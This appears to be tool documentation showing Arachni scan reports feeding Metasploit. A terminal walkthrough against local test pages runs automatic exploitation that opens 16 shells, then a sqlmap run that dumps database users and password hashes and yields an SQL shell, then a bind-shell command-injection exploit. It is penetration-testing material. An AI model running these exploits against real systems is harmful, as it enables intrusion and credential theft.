Arachni provides advanced exploitation techniques via the:
- ArachniMetareport, an Arachni report specifically designed to provide WebApp context to the Metasploit framework.
- Arachni plug-in for the Metasploit framework, used to load the ArachniMetareport in order to provide advanced automated and manual exploitation of WebApp vulnerabilities.
- Advanced generic WebApp exploit modules for the Metasploit framework, utilized either manually or automatically by the Arachni MSF plug-in.
Please be warned that at the moment Metasploit integration is here as a proof-of-concept and is not officially supported nor a high priority.
##Installation
To install the necessary files all you need to do is copy the contents of the "external/metasploit" directory to Metasploit's root. $ cp -R arachni/external/metasploit/* metasploit/
##Usage
###Creating the Metareport
$ ./arachni.rb http://localhost/~zapotek/tests/ --report=metareport:outfile=localhost.afr.msf
Arachni - Web Application Security Scanner Framework v0.2.1 [0.1.9]
Author: Tasos "Zapotek" Laskos <[email protected]>
(With the support of the community and the Arachni Team.)
Website: http://github.com/Arachni/arachni
Documentation: http://github.com/Arachni/arachni/wiki
[~] No modules were specified.
[~] -> Will run all mods.
[~] No audit options were specified.
[~] -> Will audit links, forms and cookies.
[...snipping a whole lot of scan output...]
[*] Creating file for the Metasploit framework...
[*] Saved in 'localhost.afr.msf'.
[*] Dumping audit results in 'metareport.afr'.
[*] Done!
To convert a standard Arachni Framework Report (.afr) file to a Metareport (.afr.msf) file:
$ ./arachni.rb --repload=localhost.afr --report=metareport:outfile=localhost.afr.msf
Arachni - Web Application Security Scanner Framework v0.2.1 [0.1.9]
Author: Tasos "Zapotek" Laskos <[email protected]>
(With the support of the community and the Arachni Team.)
Website: http://github.com/Arachni/arachni
Documentation: http://github.com/Arachni/arachni/wiki
[*] Creating file for the Metasploit framework...
[*] Saved in 'localhost.afr.msf'.
$ ./msfconsole # Start the MSF
888 888 d8b888
888 888 Y8P888
888 888 888
88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888
888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888
888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b.
888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
888
888
888
=[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 620 exploits - 307 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r10844 updated today (2010.10.29)
msf > load arachni # Load the Arachni plug-in
[*] Successfully loaded plugin: arachni
msf > arachni_load ../arachni/localhost.afr.msf # Load the ArachniMetareport using the Arachni plug-in
[*] Loading report...
[*] Loaded 19 vulnerabilities.
Unique exploits
===============
ID Exploit Description
-- ------- -----------
1 unix/webapp/arachni_php_include
This module allows complex HTTP requests to be crafted in order to
allow exploitation of PHP remote file inclusion vulnerabilities.
Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
i.e. where the payload should go.
Supported vectors: GET, POST, COOKIE, HEADER.
(Mainly for use with the Arachni plug-in.)
2 unix/webapp/arachni_exec
This module allows complex HTTP requests to be crafted in order to
allow exploitation of command injection vulnerabilities in Unix-like platforms.
Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
i.e. where the payload should go.
Supported vectors: GET, POST, COOKIE, HEADER.
(Mainly for use with the Arachni plug-in.)
3 unix/webapp/arachni_php_eval
This module allows complex HTTP requests to be crafted in order to
allow exploitation of PHP eval() vulnerabilities in Unix-like platforms.
Use 'XXinjectionXX' to mark the value of the vulnerable variable/field,
i.e. where the payload should go.
Supported vectors: GET, POST, COOKIE, HEADER.
(Mainly for use with the Arachni plug-in.)
4 unix/webapp/arachni_sqlmap
This module is designed to be used with the Arachni plug-in.
From the original:
This module launches an sqlmap session.
sqlmap is an automatic SQL injection tool developed in Python.
Its goal is to detect and take advantage of SQL injection
vulnerabilities on web applications. Once it detects one
or more SQL injections on the target host, the user can
choose among a variety of options to perform an extensive
back-end database management system fingerprint, retrieve
DBMS session user and database, enumerate users, password
hashes, privileges, databases, dump entire or user
specific DBMS tables/columns, run his own SQL SELECT
statement, read specific files on the file system and much
more.
Vulnerabilities
===============
ID Host Path Name Method Params Exploit
-- ---- ---- ---- ------ ------ -------
1 127.0.0.1 /~zapotek/tests/trainer.php Remote file inclusion COOKIE {"rfi"=>"XXinjectionXX\x00"} unix/webapp/arachni_php_include
2 127.0.0.1 /~zapotek/tests/trainer.php Remote file inclusion COOKIE {"rfi"=>"XXinjectionXX"} unix/webapp/arachni_php_include
3 127.0.0.1 /~zapotek/tests/cookies/os_command.php OS command injection COOKIE {"os_command"=>"XXinjectionXX\x00"} unix/webapp/arachni_exec
4 127.0.0.1 /~zapotek/tests/cookies/os_command.php OS command injection COOKIE {"os_command"=>"XXinjectionXX"} unix/webapp/arachni_exec
5 127.0.0.1 /~zapotek/tests/cookies/rfi.php Remote file inclusion COOKIE {"rfi"=>"XXinjectionXX\x00"} unix/webapp/arachni_php_include
6 127.0.0.1 /~zapotek/tests/cookies/rfi.php Remote file inclusion COOKIE {"rfi"=>"XXinjectionXX"} unix/webapp/arachni_php_include
7 127.0.0.1 /~zapotek/tests/cookies/eval.php Code injection COOKIE {"eval"=>"%3BXXinjectionXX"} unix/webapp/arachni_php_eval
8 127.0.0.1 /~zapotek/tests/forms/eval.php Code injection POST {"eval"=>";XXinjectionXX"} unix/webapp/arachni_php_eval
9 127.0.0.1 /~zapotek/tests/forms/os_command.php OS command injection POST {"os_command"=>"XXinjectionXX\x00"} unix/webapp/arachni_exec
10 127.0.0.1 /~zapotek/tests/forms/os_command.php OS command injection POST {"os_command"=>"XXinjectionXX"} unix/webapp/arachni_exec
11 127.0.0.1 /~zapotek/tests/forms/rfi.php Remote file inclusion POST {"rfi"=>"XXinjectionXX\x00"} unix/webapp/arachni_php_include
12 127.0.0.1 /~zapotek/tests/forms/rfi.php Remote file inclusion POST {"rfi"=>"XXinjectionXX"} unix/webapp/arachni_php_include
13 127.0.0.1 /~zapotek/tests/forms/sqli.php SQL Injection POST {"sql_inj"=>"1"} unix/webapp/arachni_sqlmap
14 127.0.0.1 /~zapotek/tests/links/os_command.php OS command injection GET {"os_command"=>"XXinjectionXX\x00"} unix/webapp/arachni_exec
15 127.0.0.1 /~zapotek/tests/links/os_command.php OS command injection GET {"os_command"=>"XXinjectionXX"} unix/webapp/arachni_exec
16 127.0.0.1 /~zapotek/tests/links/rfi.php Remote file inclusion GET {"rfi"=>"XXinjectionXX\x00"} unix/webapp/arachni_php_include
17 127.0.0.1 /~zapotek/tests/links/rfi.php Remote file inclusion GET {"rfi"=>"XXinjectionXX"} unix/webapp/arachni_php_include
18 127.0.0.1 /~zapotek/tests/links/eval.php Code injection GET {"eval"=>";XXinjectionXX"} unix/webapp/arachni_php_eval
19 127.0.0.1 /~zapotek/tests/links/sqli.php Blind SQL Injection GET {"id"=>"1"} unix/webapp/arachni_sqlmap
[*] Done!
msf >
msf > arachni_autopwn
[*] Usage: arachni_autopwn [options]
-h Display this help text
-x [regexp] Only run modules whose name matches the regex
-a Launch exploits against all matched targets
-r Use a reverse connect shell
-b Use a bind shell on a random port (default)
-m Use a meterpreter shell (if possible)
-q Disable exploit module output
msf > arachni_autopwn -a
[*] Running pwn-jobs...
[...snip...]
[*] Command shell session 1 opened (127.0.0.1:54598 -> 127.0.0.1:5019) at 2010-10-28 18:26:00 +0100
[*] Command shell session 2 opened (127.0.0.1:55336 -> 127.0.0.1:8541) at 2010-10-28 18:26:00 +0100
[*] Command shell session 3 opened (127.0.0.1:37880 -> 127.0.0.1:12465) at 2010-10-28 18:26:00 +0100
[*] Command shell session 4 opened (127.0.0.1:49451 -> 127.0.0.1:10866) at 2010-10-28 18:26:00 +0100
[*] Command shell session 5 opened (127.0.0.1:40276 -> 127.0.0.1:11915) at 2010-10-28 18:26:00 +0100
[*] Command shell session 6 opened (127.0.0.1:34400 -> 127.0.0.1:5222) at 2010-10-28 18:26:00 +0100
[*] Command shell session 7 opened (127.0.0.1:58456 -> 127.0.0.1:10955) at 2010-10-28 18:26:00 +0100
[*] Command shell session 9 opened (127.0.0.1:48549 -> 127.0.0.1:5929) at 2010-10-28 18:26:00 +0100
[*] Command shell session 8 opened (127.0.0.1:47028 -> 127.0.0.1:12432) at 2010-10-28 18:26:00 +0100
[*] Command shell session 10 opened (127.0.0.1:38239 -> 127.0.0.1:11919) at 2010-10-28 18:26:00 +0100
[*] Command shell session 11 opened (127.0.0.1:58541 -> 127.0.0.1:14343) at 2010-10-28 18:26:01 +0100
[*] Command shell session 12 opened (127.0.0.1:48655 -> 127.0.0.1:13743) at 2010-10-28 18:26:01 +0100
[*] Command shell session 13 opened (127.0.0.1:59996 -> 127.0.0.1:8895) at 2010-10-28 18:26:01 +0100
[*] Command shell session 14 opened (127.0.0.1:53717 -> 127.0.0.1:10767) at 2010-10-28 18:26:01 +0100
[*] Command shell session 15 opened (127.0.0.1:51623 -> 127.0.0.1:7668) at 2010-10-28 18:26:01 +0100
[*] Command shell session 16 opened (127.0.0.1:47874 -> 127.0.0.1:8965) at 2010-10-28 18:26:02 +0100
[...snip...]
[*] The autopwn command has completed with 16 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*]
[*] ================================================================================
Active sessions
===============
Id Type Information Connection Via
-- ---- ----------- ---------- ---
1 shell 127.0.0.1:54598 -> 127.0.0.1:5019 exploit/unix/webapp/arachni_php_eval
2 shell 127.0.0.1:55336 -> 127.0.0.1:8541 exploit/unix/webapp/arachni_exec
3 shell 127.0.0.1:37880 -> 127.0.0.1:12465 exploit/unix/webapp/arachni_exec
4 shell 127.0.0.1:49451 -> 127.0.0.1:10866 exploit/unix/webapp/arachni_php_include
5 shell 127.0.0.1:40276 -> 127.0.0.1:11915 exploit/unix/webapp/arachni_php_eval
6 shell 127.0.0.1:34400 -> 127.0.0.1:5222 exploit/unix/webapp/arachni_exec
7 shell 127.0.0.1:58456 -> 127.0.0.1:10955 exploit/unix/webapp/arachni_php_include
8 shell 127.0.0.1:47028 -> 127.0.0.1:12432 exploit/unix/webapp/arachni_exec
9 shell 127.0.0.1:48549 -> 127.0.0.1:5929 exploit/unix/webapp/arachni_exec
10 shell 127.0.0.1:38239 -> 127.0.0.1:11919 exploit/unix/webapp/arachni_exec
11 shell 127.0.0.1:58541 -> 127.0.0.1:14343 exploit/unix/webapp/arachni_php_include
12 shell 127.0.0.1:48655 -> 127.0.0.1:13743 exploit/unix/webapp/arachni_php_include
13 shell 127.0.0.1:59996 -> 127.0.0.1:8895 exploit/unix/webapp/arachni_php_include
14 shell 127.0.0.1:53717 -> 127.0.0.1:10767 exploit/unix/webapp/arachni_php_include
15 shell 127.0.0.1:51623 -> 127.0.0.1:7668 exploit/unix/webapp/arachni_php_eval
16 shell 127.0.0.1:47874 -> 127.0.0.1:8965 exploit/unix/webapp/arachni_php_include
[*] ================================================================================
msf > sessions -i 1
[*] Starting interaction with 1...
ls
eval.php
os_command.php
rfi.php
sqli.php
xss.php
whoami
www-data
^C
Abort session 1? [y/N] y
[*] Command shell session 1 closed. Reason: User exit
msf >
Notice that we ended up with 16 sessions out of the 19 reported vulnerabilities.
This is due to the fact that the "unix/webapp/arachni_sqlmap" exploit can't be launched automatically and because some of the reported vulnerabilities are basically the same.
Next we'll see how to use the "arachni_manual" command for assisted exploitation and get an SQL shell.
msf > arachni_list_vulns # Let's take a look at the available vulnerabilities once again.
Vulnerabilities
===============
ID Host Path Name Method Params Exploit
-- ---- ---- ---- ------ ------ -------
1 127.0.0.1 /~zapotek/tests/trainer.php Remote file inclusion COOKIE {"rfi"=>"XXinjectionXX\x00"} unix/webapp/arachni_php_include
2 127.0.0.1 /~zapotek/tests/trainer.php Remote file inclusion COOKIE {"rfi"=>"XXinjectionXX"} unix/webapp/arachni_php_include
3 127.0.0.1 /~zapotek/tests/cookies/os_command.php OS command injection COOKIE {"os_command"=>"XXinjectionXX\x00"} unix/webapp/arachni_exec
4 127.0.0.1 /~zapotek/tests/cookies/os_command.php OS command injection COOKIE {"os_command"=>"XXinjectionXX"} unix/webapp/arachni_exec
5 127.0.0.1 /~zapotek/tests/cookies/rfi.php Remote file inclusion COOKIE {"rfi"=>"XXinjectionXX\x00"} unix/webapp/arachni_php_include
6 127.0.0.1 /~zapotek/tests/cookies/rfi.php Remote file inclusion COOKIE {"rfi"=>"XXinjectionXX"} unix/webapp/arachni_php_include
7 127.0.0.1 /~zapotek/tests/cookies/eval.php Code injection COOKIE {"eval"=>"%3BXXinjectionXX"} unix/webapp/arachni_php_eval
8 127.0.0.1 /~zapotek/tests/forms/eval.php Code injection POST {"eval"=>";XXinjectionXX"} unix/webapp/arachni_php_eval
9 127.0.0.1 /~zapotek/tests/forms/os_command.php OS command injection POST {"os_command"=>"XXinjectionXX\x00"} unix/webapp/arachni_exec
10 127.0.0.1 /~zapotek/tests/forms/os_command.php OS command injection POST {"os_command"=>"XXinjectionXX"} unix/webapp/arachni_exec
11 127.0.0.1 /~zapotek/tests/forms/rfi.php Remote file inclusion POST {"rfi"=>"XXinjectionXX\x00"} unix/webapp/arachni_php_include
12 127.0.0.1 /~zapotek/tests/forms/rfi.php Remote file inclusion POST {"rfi"=>"XXinjectionXX"} unix/webapp/arachni_php_include
13 127.0.0.1 /~zapotek/tests/forms/sqli.php SQL Injection POST {"sql_inj"=>"1"} unix/webapp/arachni_sqlmap
14 127.0.0.1 /~zapotek/tests/links/os_command.php OS command injection GET {"os_command"=>"XXinjectionXX\x00"} unix/webapp/arachni_exec
15 127.0.0.1 /~zapotek/tests/links/os_command.php OS command injection GET {"os_command"=>"XXinjectionXX"} unix/webapp/arachni_exec
16 127.0.0.1 /~zapotek/tests/links/rfi.php Remote file inclusion GET {"rfi"=>"XXinjectionXX\x00"} unix/webapp/arachni_php_include
17 127.0.0.1 /~zapotek/tests/links/rfi.php Remote file inclusion GET {"rfi"=>"XXinjectionXX"} unix/webapp/arachni_php_include
18 127.0.0.1 /~zapotek/tests/links/eval.php Code injection GET {"eval"=>";XXinjectionXX"} unix/webapp/arachni_php_eval
19 127.0.0.1 /~zapotek/tests/links/sqli.php Blind SQL Injection GET {"id"=>"1"} unix/webapp/arachni_sqlmap
msf > arachni_manual 19 # The vulnerability with ID '19' uses the 'unix/webapp/arachni_sqlmap' module
[*] Using unix/webapp/arachni_sqlmap .
[*] Preparing datastore for 'Blind SQL Injection' vulnerability @ 127.0.0.1/~zapotek/tests/links/sqli.php ...
SRVHOST => 127.0.0.1
SRVPORT => 7872
RHOST => 127.0.0.1
RPORT => 80
LHOST => 127.0.0.1
LPORT => 12633
SSL => false
GET => id=1
METHOD => GET
COOKIES =>
HEADERS => Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8::User-Agent=Arachni/0.2.1
PATH => /~zapotek/tests/links/sqli.php
[*] Done!
Compatible payloads
===================
Name Description
---- -----------
Use: set PAYLOAD <name>
msf auxiliary(arachni_sqlmap) > show options # Make sure that everything is setup properly
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
COOKIES no
GET id=1 no HTTP GET query
METHOD GET yes HTTP Method
OPTS --users --time-test --passwords --dbs --sql-shell -v 0 no The sqlmap options to use
PATH /~zapotek/tests/links/sqli.php yes The path to test for SQL injection
POST no The data string to be sent through POST
Proxies no Use a proxy chain
RHOST 127.0.0.1 yes The target address
RPORT 80 yes The target port
SQLMAP_PATH sqlmap yes The sqlmap >= 0.8 full path
VHOST no HTTP server virtual host
msf auxiliary(arachni_sqlmap) > set SQLMAP_PATH /home/zapotek/Downloads/sqlmap/sqlmap.py # Tell the module where the sqlmap script is
SQLMAP_PATH => /home/zapotek/Downloads/sqlmap/sqlmap.py
msf auxiliary(arachni_sqlmap) > exploit # rock it!
[*] exec: /home/zapotek/Downloads/sqlmap/sqlmap.py -u 'http://127.0.0.1:80//~zapotek/tests/links/sqli.php?id=1' --method GET --users --time-test --passwords --dbs --sql-shell -v 0 --cookie ''
sqlmap/0.8 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 15:08:25
[15:08:26] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
web server operating system: Linux Ubuntu
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: MySQL >= 5.0.0
time based blind sql injection payload: 'id=1%27%20AND%20SLEEP%285%29%20AND%20%27HXME%27=%27HXME'
database management system users [5]:
[*] 'debian-sys-maint'@'localhost'
[*] 'phpmyadmin'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'root'@'zonster'
database management system users password hashes:
[*] debian-sys-maint [1]:
password hash: *7AD474111CBF8492D9311D6E8493490ED6247D86
[*] phpmyadmin [1]:
password hash: *C3A70F18627A18967A3A70C0F648CDEE0BCE9AB2
[*] root [1]:
password hash: NULL
available databases [5]:
[*] arachni
[*] information_schema
[*] msf
[*] mysql
[*] phpmyadmin
sql-shell> CURRENT_USER() # And we now have an SQL shell to play with!
do you want to retrieve the SQL statement output? [Y/n]
CURRENT_USER(): 'root@localhost'
sql-shell> VERSION()
do you want to retrieve the SQL statement output? [Y/n]
VERSION(): '5.1.49-1ubuntu8'
sql-shell> q
[*] shutting down at: 15:09:07
[*] Auxiliary module execution completed
msf auxiliary(arachni_sqlmap) >
Of course 'arachni_manual' is not limited to any one module. For example: msf auxiliary(arachni_sqlmap) > arachni_manual 15 # Prepare the vulnerability with ID '15' [] Using unix/webapp/arachni_exec . [] Preparing datastore for 'OS command injection' vulnerability @ 127.0.0.1/~zapotek/tests/links/os_command.php ... SRVHOST => 127.0.0.1 SRVPORT => 9033 RHOST => 127.0.0.1 RPORT => 80 LHOST => 127.0.0.1 LPORT => 11853 SSL => false GET => os_command=XXinjectionXX METHOD => GET COOKIES => HEADERS => Accept=text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8::User-Agent=Arachni/0.2.1 PATH => /~zapotek/tests/links/os_command.php [*] Done! PAYLOAD => cmd/unix/bind_perl msf exploit(arachni_exec) > exploit # rock it!
[*] Sending HTTP request for /~zapotek/tests/links/os_command.php
[*] Started bind handler
[*] Command shell session 17 opened (127.0.0.1:45295 -> 127.0.0.1:11853) at 2010-10-29 15:13:48 +0100 # And we now have a system shell!
ls
eval.php
os_command.php
redirect.php
rfi.php
sqli.php
xss.php
whoami
www-data
^C
Abort session 17? [y/N] y
[*] Command shell session 17 closed. Reason: User exit
msf exploit(arachni_exec) >